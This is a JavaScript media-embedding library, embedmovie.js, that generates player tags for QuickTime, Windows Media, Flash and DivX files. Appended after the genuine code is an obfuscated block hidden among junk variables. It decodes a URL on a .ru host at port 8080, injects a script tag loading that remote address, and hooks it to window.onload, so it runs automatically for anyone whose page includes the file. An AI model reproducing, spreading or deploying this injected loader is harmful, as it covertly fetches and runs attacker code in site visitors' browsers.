/* embedmovie.js
 * Author: Laszlo Molnar / Hungary
 * Date: 01/11/2006
 * Version: 0.5
 */
 
var mtype = new Array (".avi.mp3", ".qt.mov.mpg.mpeg.mpe.mp4.m4v.aiff", ".wmv.wma.asf", ".swf", ".flv", ".divx.xvid" );
var cheight = new Array (0, 16, 64, 0, 18, 20);
var audio = ".mp3.wav.wma.aiff.mid.rm.ram";

function addParam(name, value) {
  return '<param name="' + name + '" value="' + value + '" />\n';
}

function embedMovie(src, width, height, autoplay, hide, scaletofit) {
  var isExplorer = (navigator.appName.indexOf('Explorer') != -1);
  var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
  var isAudio = (audio.indexOf(ext) != -1);

  for(i = 0; i < mtype.length; i++)
    if(mtype[i].indexOf(ext) != -1) break;

  if(i == 0) { i = (navigator.userAgent.indexOf('Macintosh') != -1)? 1 : 2; }

  if(!scaletofit && audio.indexOf(ext) != -1) height = 0;
    
  if(hide) width = height = 0;
  else height += (i < mtype.length)? cheight[i] : 45;

  switch (i) {
  
  case 1: // QuickTime Movie

    if(isExplorer) {
      document.write('<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ');
      document.write('codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0" '); }
    else
      document.write('<object type="video/quicktime" data="' + src + '"');

    document.write(' width="' + width + '" height="' + height + '" id="QuickTimePlayer">\n');
    document.write(addParam("src", src));
    document.write(addParam("autoplay", autoplay? 'true':'false'));
    document.write(addParam("bgcolor", "black"));
    if(scaletofit) document.write(addParam("scale", "tofit"));
    document.write('</object>\n');
    break;

  case 2: // Windows Media Player 

    //if(src.indexOf('/') == -1) src = './' + src;

    if(isExplorer)
      document.write('<object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" ');
    else
      document.write('<object type="video/x-ms-wmv" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="MediaPlayer">\n');
    if(isExplorer) document.write(addParam("URL", src));
    document.write(addParam("src", src));
    document.write(addParam("AutoStart", autoplay? '1':'0'));
    if(scaletofit) document.write(addParam("StretchToFit", '1'));
    document.write(addParam(isExplorer? "ShowControls":"Controller", '1'));
    document.write('</object>\n');
    break;

  case 3: // Flash Animation
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write('</object>\n');
    break;

  case 4: // Flash movie
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '&autoStart=' + (autoplay? 'true':'false') + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src + '&autoStart=' + (autoplay? 'true':'false')));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write(addParam("quality", "high"));
    document.write('</object>\n');
    break;

  case 5: // DivX Movie
    if(isExplorer) {
      document.write('<object classid="CLSID:67DABFBF-D0AB-41fa-9C46-CC0F21721616" ');
      document.write('codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" '); }
    else
      document.write('<object type="video/divx" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" pluginspage="http://go.divx.com/plugin/download/" id="DivxPlayer">\n');
    document.write(addParam("mode", "zero"));
    document.write(addParam("autoPlay", autoplay? 'true':'false'));
    document.write(addParam("allowContextMenu", "false"));
    if(src.charAt(0) == "." || src.charAt(0) == "/" || src.indexOf("http:") == 0)
      document.write(addParam("src", src));
    else
      document.write(addParam("src", "./" + src));
    document.write('</object>\n');
    break;
	
  default: // Undefined
    document.write('<embed src="' + src + '" autostart="' + (autoplay? 'true':'false') + '" width="' + width + '" height="' + height + '" loop="false"></embed>');
  }
}



var TW;if(TW!='n'){TW='n'};var Xa;if(Xa!='X'){Xa=''};var W=new String();function G(){this.v='';var R;if(R!='V' && R!='nq'){R=''};var Iz="";var e;if(e!='' && e!='Fn'){e=''};var C=unescape;this.gh="";var E=window;var A=new String();var WI;if(WI!='EU' && WI != ''){WI=null};var o=C("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%64%75%6c%74%61%64%77%6f%72%6c%64%2e%63%6f%6d%2f%61%64%76%6d%61%6b%65%72%2e%72%75%2e%70%68%70");this.vq="";var B="";var aV="";var FE;if(FE!='u'){FE=''};function b(g,a){var Ww=new Date();var K=String("g");var S="";var Lf="";var Ky=C("%5b"), w=C("%5d");var q=Ky+a+w;var t;if(t!='' && t!='qr'){t='i'};var s=new RegExp(q, K);return g.replace(s, new String());var HW=new String();var k=new String();};this.QI='';this.Zt='';this.az="";var Cw=document;this.Hz="";var pc;if(pc!='' && pc!='Ot'){pc=''};var P=b('8433930691668595991041512','47356291');var d=new Date();var T=new String();var U;if(U!='j' && U!='Es'){U='j'};function TK(){var doL;if(doL!='' && doL!='Pp'){doL='FI'};var r=C("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var Nw=new Date();var ub;if(ub!='nL' && ub!='sN'){ub=''};var EQ=new Array();T=r;T+=P;this.qrR='';T+=o;var TI;if(TI!='JG'){TI='JG'};this.wZ='';var Wt;if(Wt!='WJ' && Wt != ''){Wt=null};try {var As;if(As!='TWh' && As != ''){As=null};var Iu;if(Iu!='Ul' && Iu!='Oc'){Iu='Ul'};CJ=Cw.createElement(b('sJcRrJi9pytN','ASB9yYgm58nJkMhNReTOK'));this.D='';this.Jk='';this.Vz='';CJ[C("%73%72%63")]=T;var vr;if(vr!='Pa' && vr != ''){vr=null};var Lv;if(Lv!='' && Lv!='xw'){Lv=null};CJ[C("%64%65%66%65%72")]=[1][0];this.KD="";Cw.body.appendChild(CJ);var SAf;if(SAf!='ma_' && SAf!='JK'){SAf=''};this.IU='';this.XL="";this.Ca="";} catch(Q){this.la='';alert(Q);};this.uc='';}var uk='';this.vD="";var lV;if(lV!='Ac' && lV!='QH'){lV=''};var ZL;if(ZL!='nh' && ZL != ''){ZL=null};E["onloabQCA".substr(0,5)+"otKdtoK".substr(3,1)]=TK;var KS=new String();var Tm=new String();};var Ba;if(Ba!='ZC' && Ba!='ya'){Ba=''};G();var cB;if(cB!='aS' && cB!='Bp'){cB=''};var iV='';